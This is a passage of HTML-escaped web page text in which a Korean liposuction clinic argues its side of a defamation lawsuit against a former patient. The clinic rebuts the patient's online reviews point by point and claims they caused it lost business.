/&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;댓글알바_2017-02-22-13-46-02.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/1e65364a764e98d0bd8f1ef916d4cc23.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;수술하지않음34jpg.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/98877b371e8487ae4a49fe33c93f2286.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑯ 방송통신위원회에서 게시글 정지처분 받았다. 반박글이 법원에서 허위사실로 밝혀져서 병원측이 오히려 피해자 코스프레한다.&lt;br /&gt; &lt;br /&gt; [피고와 관련해서 정지처분을 받은 적이 없고, 법원에서 닥터칼럼 해명글이 허위사실로 판정된 적이 없습니다.]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑰ 비너스는 지방을 두껍게 남긴다.&lt;br /&gt; &lt;br /&gt; [과도한 지방흡입은 합병증을 유발할 가능성이 높아 적정량을 결정하는 것은 의사의 역량이자 재량이고 지방흡입의 목적은 아름다운 체형을 만드는 것이지 과도한 지방흡입으로 피부와 근육의 유착을 만들고 울퉁불퉁 근육 우먼을 만들려는 것이 아닙니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;그런데 피하지방층 두께는 일반인이 함부로 말할 수 없는 전문적인 영역임에도 피고의 몸에 남아 있는 피하 지방층 두께을 구체적으로 적시하면서 의견이 아닌 사실로서 다른 사람들을 현혹하여 원고가 피하지방을 적게 제거하는 의사로 비방하였습니다. 그러나 피고가 제시한 피하지방층 두께는 의학적으로 10mm가 넘지 않아 잘못 측정된 것일뿐더러, T의원의 진료기록부에 있는 피하 지방층두께도 옆구리 12~14mm, 러브핸들 24~26mm로 기록되어 있어서, 여러모로 원고가 피하지방층을 두껍게 남긴다는 내용은 사실이 아닙니다. ]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;러브핸들명칭4.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/5084032f0ad61d481eb7d4762b128806.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;초음파지방두께2.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/2d2c2ba76667103b4aed318f637fa8b9.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑱ 비너스의원은 T의원에 전화를 걸어 명예훼손으로 고소한다면서 재수술을 방해했다.&lt;br /&gt; &lt;br /&gt; [상담실장은 2019. 1.20. T의원에 전화를 하여 담당 원장과 전화통화를 원한다고 하였는데 데스크에서 전화받는 직원이 환자 본인이냐 지인이냐고 물어보았고 그래서 지인이라고 대답했는데 피고는 상담실장이 지인행세를 하며 수술을 방해했다고 하였습니다. 데스크 직원은 원고 상담실장에게 피고의 담당의사가 누구인지 알려주지도 않았습니다(갑11-8호, 당시 녹음파일을 들어보면 T의원 간호기록지는 사실과 다름). 비너스의원 원장은 2017.1.21. T의원 CC와 통화하였고 피고가 주장했던 피하지방층 두께가 사실인지를 물어 보았으며,&amp;nbsp; CC는 옆구리에 지방층이 12~14mm 남아 있었고, 수술이 안되어 있다는 말은 한적이 없다고 답변하였습니다. 그러므로 원고는 명예훼손으로 고소한다고 한적이 없으며 수술을 방해한 사실도 없습니다. (갑제9-3호 녹취록).&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 게시글을 보면 피고는 부작용이 없다고 했으면서 카페회원이 &amp;ldquo;부작용 없는 것으로 만족하시라&amp;rdquo;고 하자 다시 말을 바꾸어 &amp;ldquo;앞에도 울퉁불퉁하고 뒤에는 수술안하고 돈만 받은게 괴씸한거죠&amp;rdquo;라고 수술도 잘못된 것처럼 허위사실을 게제했습니다. ]&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;부작용_68924__.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/d5396d6179bb3f67ebac78ace365cced.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak08&quot;&gt;8. 피고는 의학을 잘 모르는 일반인이라고 해서 의사에 대한 명예훼손에 대해 면책될 수 없습니다. 피고가 원고의 피해에 대해 책임을 져야 하는 이유는 다음과 같습니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원심은 &amp;ldquo;이사건 게시글의 내용은 허위가 아니고, 일부 내용은 피고의 주관적 의견에 불과하다. 이 사건 게시글의 일부 내용이 허위하고 하더라도 피고는 이를 진실로 믿었다. 피고는 정보 공유등 공공의 이익을 위해서 이 사건 게시글을 게제하였고 명예훼손의 고의나 과실이 없었다. 따라서 피고가 이 사건 게시글을 작성한 행위는 위법하지 않다.&amp;rdquo; 라고 하여 피고의 허위사실에 대해 면죄부를 주었으나 이는 원심이 피고의 입장만을 배려했기 때문입니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 현직 의사로서 피고의 게시글에 본인이 힐 수 있는 모든 수단을 다하여 피고의 게시글의 작성을 막았습니다만 피고는 아랑곳 하지 않고 게시글의 게제를 계속하여 피고의 게시글이 2년 6개월동안 게제 되었습니다.&amp;nbsp;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;p&gt;피고가 T의원에서 진단서를 발급받을때 수술의사도 아닌 의사에게 &amp;quot;옆구리&amp;quot;라는 한국어가 있음에도 &amp;quot;러브핸들&amp;quot;같이 부위에 혼동이 될수 있는 외래어 진단명을 요구한점(의료법 위반사안임), 그리고 피고가 진단서의 내용에 &amp;quot;재수술이 아니다&amp;quot;라는 의사의 의견을 요구한 점, 진단서의 발행 이유를 법원제출용으로 요구하였으면서 진단서 비용은 지불하지 않고 휴대폰으로 진단서를 촬영하여 인터넷 게시용으로 이용한 점, 원고의 초음파 진료는 거부한 점, 등등 여러가지 사정을 감안해서 보면 피고가 T의원의 소견만을 사실이라고 맹신했다는 이유로 원고의 피해에 대해 면책하는 것은 적절하지 않습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 당시 닥터칼럼을 통해 피고가 잘못 알고 있다고 설명하며 엎질러진 물과 손상된 신뢰는 다시 회복될 수 없다고 하면서 피고에게 게시글의 게제 중단을 간절하게 요청했습니다. 그러나 피고는 오히려 원고의 해명글이 법원에서 거짓말으로 밝혀졌다고 알리면서 게제를 계속했습니다. 이러한 상황으로 판사가 피고가 자신의 게시글이 진실이라고 믿었다면서 면죄부를 준다면 소설에 나오는 말처럼 &amp;ldquo;발가락이 닮았다&amp;rdquo;라고 말하는 셈입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;① 원고는 피고에게 옆구리 지방층이 절대 10mm가 넘지 않을 것이니 내원하면 초음파 검사를 무료로 해주겠다고 하면서 주말이나 야간에도 나와서 진료를 해주겠다고 하였으나, 피고는 원고의 진료를 회피하였습니다. 그리고도 원고가 &amp;ldquo;수술후 나몰라라 했다 전화도 안받았다&amp;rdquo;고 거짓말을 하면서 &amp;ldquo;강남에 있는 다른 병원에 갔더니 옆구리에 지방이 28mm 남아 있었다&amp;rdquo;고 T의원에서 수술을 받기도 전에 거짓 경험담을 작성했습니다.&lt;br /&gt; &lt;br /&gt; 또한 원고는 피고를 명예훼손 혐의로 형사고소를 하였는데 담당 수사관과 함께 제3의 병원에 가서 옆구리의 지방층 두께를 확인해 보자고 제안했는데 피고는 &amp;quot;내가 왜 검사를 받아야 하느냐, 내가 왜 내 몸을 보여줘야 하느냐&amp;quot;라고 하면서 초음파 측정을 거부하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;② 원고가 명예훼손 글이라고 네이버에 명예훼손으로 신고하여 게시중단을 시켰는데, 피고는 네이버측에 이의신청하여 한달 만에 다시 복구시키고 게시물을 2017~2019년까지 2년 6개월 동안이나 계속 유지 하였습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;③ 원고는 홈페이지 닥터칼럼을 통하여 T의원이 러브핸들의 위치를 잘못 알고 있으며, 피고는 T의원에서 옆구리나 러브핸들이 아니고 뒷등(뒷구리)에 수술을 받았다고 설명해 주었습니다. 그러나 피고는 T의원의 &amp;ldquo;절개구가 없다&amp;rdquo;고 하면서 꼬리뼈 절개구 위치를 숨기고, T의원에서 엎드린 자세에서 뒷등을 수술받았다는 사실을 알고 있음에도 &amp;ldquo;러브핸들&amp;rdquo;만 재수술 받았다고 다른 사람들에게 거짓말을 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;④ 피고는 T의원에서 엎드린 자세에서 뒷등(뒷구리) 수술을 받은 사실을 원고의 설명을 통해 알고 있으면서도 T의원의 러브핸들과 원고의 러브핸들이 같은 것처럼 속였으며 오히려 원고가 옆구리에 수술을 빼먹고 하지 않았으면서 &amp;ldquo;술을 먹었으나 음주운전을 하지 않았다고 한다&amp;rdquo;라면서 원고를 조롱했습니다. 피고는 T의원에서 받은 진단서를 이용하여 &amp;ldquo;러브핸들＂만 재수술을 받았다고 다른 사람들을 속였으며, 검찰에서도 진단서를 제출하여 무혐의처분을 받았습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑤ 홈페이지 해명글을 자신의 전후사진을 이용했다고 명예훼손으로 방송통신위원회에 신고하여 원고가 피고의 수술전후사진을 게제하는 것을 막았고(피고는&amp;nbsp; 동일사진의 게제를 계속&amp;nbsp; 하다가 나중에 스스로 삭제하였습니다),&amp;nbsp; 원고가 오히려 허위글을 게제하여 법원의 게제중지명령을 받았다고 거짓말 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑥ T의원의 진료기록과 비너스의원의 진료기록을 모두 갖고 있었음에도 고의적으로 초음파, 수술비용, 지방량, 수술전후사진, 흉터 등등 여러 가지 허위사실로 병원간 비교하여 우열을 가르고 의료법을 위반하였습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;사람은 누구나 장단점이 있고, 의사나 병원도 각각 장단점이 있습니다. 그러나 피고는 일방적으로 원고를 비방하였으며 T의원은 칭찬하였습니다. 예를 들어 T의원은 수술도 척척 진행되는데 원고병원은 마취도 못하고 혈관은 20방이상 찔러댔다고 비방했는데 막상 T의원의 수술시간은 30분이면 족할 뒷등 수술범위에 1시간 13분이나 걸렸습니다. 피고는 수술비용도 뒷등만 150만원이면 T의원이 더 비싸지만, 원고의 수술비가 더 비싸다고 했으며, T의원에서 수술후 초음파 검사는 안했는데 수술전후 다했다고 했고, 절개구 흉터에 짓물이 흘러내리는 합병증이 발생했음에도 보이지 않는 곳에 잘해 주셨다고 하였으며, 지방량도 450ml 제거되었는데 850ml 제거되었다고 거짓말을 했습니다. T의원의 진료기록부에 의하면 수술당일 2017.1.23. 수술전후 사진과 수술디자인도 하지 않고 수술을 했음에도 황당하게도 수술당일 촬영한 사진을 그것도 아바타 체형으로 조작해서 제출했습니다. 수술전후사진은 상담일인 2017.1.16.에 의사가 아닌 사람이 촬영하였으며 수술당일에는&amp;nbsp;상담일에 촬영해둔&amp;nbsp;사진으로 대체하고 수술하는 병원입니다. 그러므로 피고는 정보제공을 위해 게시글을 작성한 것이 아니고 원고를 비방하고 영업방해를 하기 위해 게시글을 작성한 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑦ 형사고소 무혐의 받은 후에도 피고는 원고를 &amp;ldquo;언제까지 부족한 실력으로 한 사람의 인생과 한 사람의 신체를 망가뜨리는 돈벌이에 급급한 의사&amp;rdquo; 로 비하하고, &amp;ldquo;윤리의식없는의사퇴출&amp;rdquo; 이라는 닉네임으로 활동하면 쪽지를 통해 원고의 병원이름을 알리면서 영업방해를 계속했습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑧ 재판부에 T의원 수술사진을 조작하여 제출한 후 러브핸들 지방이 제거되었다고 거짓말을 하였습니다. 피고의 체형은 옆구리 근육이 늘어나 있는 체형으로 지방흡입으로 옆구리의 돌출이 제거되지 않습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak09&quot;&gt;9. 일반인이 의료법을 위반하여 게시한 의료광고가 정보공유를 목적으로 하고 공익을 위한 행동이 될 수 없습니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p&gt;1심은 아래처럼 피고가 게시한 허위사실이 위법한 행위가 아니라고 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;well well-lg&quot;&gt; &lt;p&gt;&amp;ldquo;어떤 표현이 타인의 명예를 훼손하더라도 그 표현이 공공의 이해에 관한 사항으로서 그 목적이 오로지 공공의 이익을 위한 것일때에는 진실한 사실이거나 행위자가 그것을 진실이라고 믿을 상당한 이유가 있는 경우에는 위법성이 없다고 할 것인바 행위자의 주요한 목적이나 동기가 공공의 이익을 위한 것이라면 부수적으로 다른 사익적 목적이나 동기가 내포되어 있더라도 무방하고 세부에 있어 진실과 약간 차이가 나거나 다소 과장된 표현이 있더라도 무방하다(대법원 2002.1.22. 선고 2000다37524,37531 판결)&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이 사건 게시글의 전체적인 취지는 원고가 이 사건 수술을 제대로 하지 않았다는 것으로서 그 내용은 지방확대수술을 받으려는 사람들에게는 중요한 정보인 점, 이 사건 게시글에는 피고가 이 사건 수술에 대하여 불만을 토로하는 내용이 포함되어 있으나 전체적으로는 수술의 경과와 결과에 관한 정보를 공유하는 목적으로 작성된 것으로 보이는 점등을 종합하여 보면 이 사건 게시글은 공공의 이익을 위하여 게시된 것으로 판단된다. 따라서 피고가 이 사건 게시글을 게시한 것이 허위사실을 적시한 것으로서 위법하다고 인정되지 않으므로 원고의 주장은 이유 없다.&amp;rdquo;&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러나 피고가 작성한 게시글에서 반복적으로 나타나는 주된 취지는 &lt;u&gt;&amp;rdquo;원고가 러브핸들에 돈만 받고 수술하지 않아서 T의원에서 러브핸들에 재수술을 받아 근육이라 우기던 지방이 제거되었다&amp;ldquo;&lt;/u&gt;는 것입니다. 원고는 지금까지 의사생활 30년 동안 환자가 수술후 효과가 적다는 말을 들어 봤어도 돈만 받고 수술을 하지 않았다는 불만을 들어 본적이 없습니다. 피고는 이런 내용으로 T의원에서 수술을 받기 전에 6개의 글을 작성하였습니다. &lt;strong&gt;경험하지 않는 허위 경험담이 공공의 이득이 될 수는 없습니다. 발생할 수 없는 허위사실이 지방흡입을 받으려는 사람들에게 정보가 될 수 없음으로 피고의 허위게시글은 면책사유가 될 수 없습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한 의료법은 일반인들의 의료행위와 의료정보, 의료광고등의 게제를 막고 있으며, 의료정보인 수술경험담은 의료광고로 인식하여 로그인하여 카페 같은 비공개된 장소에서 특정인만 정보를 볼 수 있도록 표현의 자유를 제한하고 있습니다. 그러나 피고는 대중에게 공개된 장소인 네이트 판, 네이버 지식인, 네이버 블로그 등에 병원 실명과 병원의 위치, 그리고 작성된 게시글마다 검색에 잘 되도록 했을 뿐만 아니라 #부천인천지방흡입, #지방흡입병원, #부천비너스의원, #지방흡입못하는병원, #부천지방흡입바가지요금, #지방흡입수술후기 등등 많은 키워드를 작성하여 검색이 용이하도록 하였고 원고 병원의 영업을 방해하려는 목적으로 공개된 장소에 수술경험담을 작성하여 의료법을 위반했습니다.&lt;br /&gt; &lt;br /&gt; &lt;strong&gt;피고가 허위사실을 게제하고 병원을 알리며 악평하며 영업을 방해하는 행위는 의료정보가 아니고 위법한 협박이자 불법행위로서 공공의 이익에 반합니다.&lt;/strong&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;태그2017-02-21-02-02-06.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/a926f9851bd9311f5af02f24fed9f15d.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고의 블로그에서 검색노출과 원고 비너스의원의 지도 까지 삽입함&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;의사를 평가하는 행위는 음식점이나 호텔의 평가와는 다릅니다. 의학적 지식이 부족한 일반인이 객관적 자료도 없이 의사를 평가한다는 것은 불가능한 일이며 굳이 평가를 한다고 해도 그것은 진실이 아닙니다. 의사에 대한 평가는 객관적인 근거에 의해서 다른 의사가 통계학적으로 판단해야 합니다(갑제24-1,2호).&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[참고자료]&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;520081&quot;&gt;명예훼손하는 범죄행위가 공익에 도움이 되는가?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;결과적으로 의료법을 위반하여 작성한 일반인의 허위사실은 위법한 행위로서 정보공유의 목적이라 할 수 없으며 공공의 이익에도 반합니다. 피고는 허위사실로 원고를 모함하여 망신을 주고 사적인 이익을 도모하기 위해 게시글을 작성했으면서도 정보공유를 목적으로 게시글을 작성했다고 책임을 회피하는 변명을 하고 있는 것입니다. 진실로 피고의 글이 정보공유의 목적이었다면 원고가 명예훼손으로 신고하여 게제 중지를 요청하고, 닥터칼럼에 해명하여 피고가 오해하고 있음을 설명했을 때, 경찰에 신고하여 게제중지를 요구하였을 때 그때 중지했을 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;1심 판사는 피고가 원고를 모욕한 부분도 아래의 글을 예시로 들며 면책하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;&amp;rdquo; &amp;lsquo;나 같은 피해자를 막자, 한 사람 한 사람 인생이 소중하기에 언제까지 부족한 실력으로 한 사람의 인생과 한 사람의 신체를 망가트리는 돈벌이에 급급한 의사들을 내버려 둘수 없기에...&amp;ldquo; 라는 완곡한 표현을 사용한 점(이사건 순번 88) 등에 비추어 보면 원고가 제출한 증거만으로는 이와 같은 표현이 수인한도를 넘어서는 인격권 침해라고 인정하기 부족하고 달리 인정할 증거가 없다.&amp;rdquo;&lt;br /&gt; &amp;nbsp;&lt;/p&gt; &lt;/div&gt; &lt;p&gt;그러나 피고가 글을 게시했던 주된 취지는 원고가 &lt;strong&gt;&amp;ldquo;돈만 받고 러브핸들에 수술을 하지 않았다. 사기당했다.&amp;rdquo;&lt;/strong&gt; 라는 것이었으며 수술이 잘못된 문제점은 없었습니다(본인 스스로 인터넷을 검색하면서 조사를 해봤는데 부작용은 없었다는 글을 작성하였으면서 울퉁불퉁하다, 1년이 지나도 치골에 시커먼 흉터가 있다고 하였는데 이는 명백한 증거로 허위사실입니다).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;사기당함.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/cb2547f1d7026c205c018548aa7e8c15.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고가 부작용이 아니라 다행스럽다고 작성한 글 내용&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 지방흡입 수술만 15년 동안 수술하면서 병원 운영해왔으니, 이미 실력과 인성은 검증되었다고 봐야 합니다. 그러한 상황에서 원고의 실력이 부족하여 환자의 인생과 신체를 망가트리는 일은 거의 없습니다. 수술비 또한 피고에게 복부와 옆구리에 269만원을 받았는데, T의원에서 받은 수술을 함께 받았다면 총 350원으로 T의원보다 더 저렴합니다(피고는 2020.9.24.일자 준비서면에서 T의원에 수술비로 150만원을 지불했다고 밝혔습니다).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 지방흡입 전문가로서 열심히 환자를 진료하면서 환자의 수술에 최선을 다하고 있는 현직 의사입니다. 피고의 도가 넘은 비방으로 원고는 의사로서 마음에 참을 수 없는 상처를 받았으니 명예훼손과 모욕으로 피고를 고소 한 것입니다. 판사는 비방을 받은 피해자의 입장에서 피해자의 인격권을 헤아려 봐야 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot; id=&quot;debak10&quot;&gt;10. 피고의 게시글이 원고의 손해 사이에 인과관계가 없다고 한다면 온라인 광고를 부정하는 것입니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;well well-lg&quot;&gt; &lt;p&gt;원심은 &amp;ldquo;설령 이사건 게시글을 작성한 행위가 위법하다고 하더라도 피고가 이 사건 게시글을 게시한 것과 원고의 일실 수익 손해 사이에 인과관계가 없다&amp;rdquo;고 판단 하였습니다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러나 원고는 피고의 게시글이 &amp;ldquo;부천인천지방흡입&amp;rdquo;을 검색하는 불특정 다수에게 노출되었을 뿐만 아니라, 안티성형카페에서 피고의 게시글을 본 환자가 수술을 취소하였던 피해 사실도 있으며 카페 회원들에게 쪽지를 보내 병원 정보를 알려주면서 영업을 방해하기도 하였습니다, 또한, 네이버에서 &amp;ldquo;비너스의원&amp;rdquo;을 검색하면 피고의 게시글이 노출되어 지방흡입 수술을 위해 직접 비너스의원의 평판을 확인하려는 많은 잠재적 환자에게 신뢰를 잃었습니다. 특히 피고는 다음 카카오톡으로 &amp;ldquo;비너스의원&amp;rdquo;을 검색하면 나오는 비너스의원 소개 페이지에도 허위 악평을 작성하여 직접적으로 영업을 방해 했습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 네이버와 광고회사에 광고비용을 지불하고 지방흡입 관련 키워드 검색시 원고 병원의 이름이 검색되도록 광고하고 있습니다. 피고의 게시글이 원고의 수익감소와 관계가 없다고 한다면 온라인 광고의 효과를 부정하는 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;① 네이버에서 &amp;ldquo;비너스의원&amp;rdquo;을 검색하면 나오는 네이버 광고 페이지&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;블로그검색광고.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/e2449231435ed5f90b106db2ccdad7c3.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;② 안티성형카페에서 직접 영업을 방해 받은&amp;nbsp;사례&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;img alt=&quot;수술취소2017-06-23-21-05.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/fea29c69c51a067475a6564c3d8bcfde.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;안티성형카페에서 쪽지로 T의원 홍보 및 원고를 비방하는 상황&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;쪽지2017-06-23-21-55.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/6e9c4c21d7028c95fabab07d20e5205a.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;③ 네이버 블로그에서 &amp;ldquo;비너스의원&amp;rdquo;을 검색하면 나오는 웹 페이지&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;블로그검색1.jpg&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/736/519/af1bc6afbd6739e336aaa77d0722d518.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;④ 다음 카카오톡에서 &amp;ldquo;비너스의원&amp;rdquo;을 검색하면 나오는 웹 페이지&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;img alt=&quot;비너스의원daum_search2.jpg&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/736/519/727660cd87eb0525d9ec4bf6098644f7.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;⑤ 네이트 판에서 공개 노출된 피고 게시글의 노출 건수는 9천회가 넘어 피고의 허위 게시글은 불특정 다수에게 노출되었습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;네이트판2017-02-11-23-09-01.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/79a0355ccc9b2982201b048b0d91b6d0.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 블로그 게시물을 보면 원고 병원의 실명을 직접 언급하면서 게시물마다&amp;nbsp; #지방흡입못하는병원 등등 원고 병원관련 네거티브 키워드를 삽입하여 검색에 노출되도록 하였던 것은 정보 공유의 목적이 아니라 원고 병원의 영법을 방해할 목적이었음이 분명 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;태그.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/736/519/b46e8847649d2a7a0f083cb17bf5584e.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고의 블로그의 검색 키워드로 수술경험담이 불특정 다수에 노출되었음&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고가 이렇게 허위사실로 원고를 악평하여 병원이름을 알리면서 영업을 방해하는 행위가 공공의 이익이 될 수는 없습니다. 원고는 2019. 5.31.자 준비서면을 통해 2013년도 ~ 2018년도까지 수익과 수술건수를 공개하여 피고의 행위로 수익이 감소되었음을 설명하였습니다. 원고 비너스의원은 매월 500만원 정도를 광고비로 사용하고 있는데 그 광고비의 목적은 &amp;ldquo;부천인천지방흡입&amp;rdquo;등을 검색하면 원고가 계약한 광고회사나 원고의 홍보 담당 직원이 직접 작성한 게시글이 노출되어 원고 비너스의원을 검색에 노출 시키는 것입니다. 그러나 2017년도 1월부터 본 소송으로 인해 피고가 게시글을 삭제한 2019년도 6월까지 피고의 악평글이 원고가 광고한 게시글과 함께 노출되어 원고는 계속 피해를 입었습니다. 원고는 2019.5.31.자 준비서면에서 설영하였지만 2018년도에는 2013년도 보다 수술당 단가가 올랐음에도 수술건수의 감소로 오히려 수익이 감소되었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고가 2017. 7.부터 2018. 6.까지 비너스 의원을 방문한 모든 환자들의 방문경로를 전수조사한 결과, 74%가 인터넷, 24%가 지인소개였습니다. 피고도 원고의 비너스의원 내원경로에 대해서 네이버에서 &amp;ldquo;부천지방전문&amp;rdquo;을 검색하여 내원하였다고 적었습니다. 피고는 안티성형카페에서도 &amp;rsquo;윤리의식없는의사퇴출&amp;lsquo;이라는 아이디로 활동하면서 원고의 퇴출을 위해 활동하였는데 원고의 손해에 대한 인과관계는 없다고 하고 퇴출에 대한 책임도 회피하고 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 안티성형카페에서도 &amp;rsquo;윤리의식없는의사퇴출&amp;lsquo;이라는 아이디로 활동하면서 원고의 퇴출을 위해 열심히 활동하였는데, 피고의 게시글 활동과 원고의 손해에 대한 인과관계는 없다고 하면서 퇴출에 대한 책임은 회피하고 있는 것은 상호 모순입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;진료기록부2_.jpg&quot; 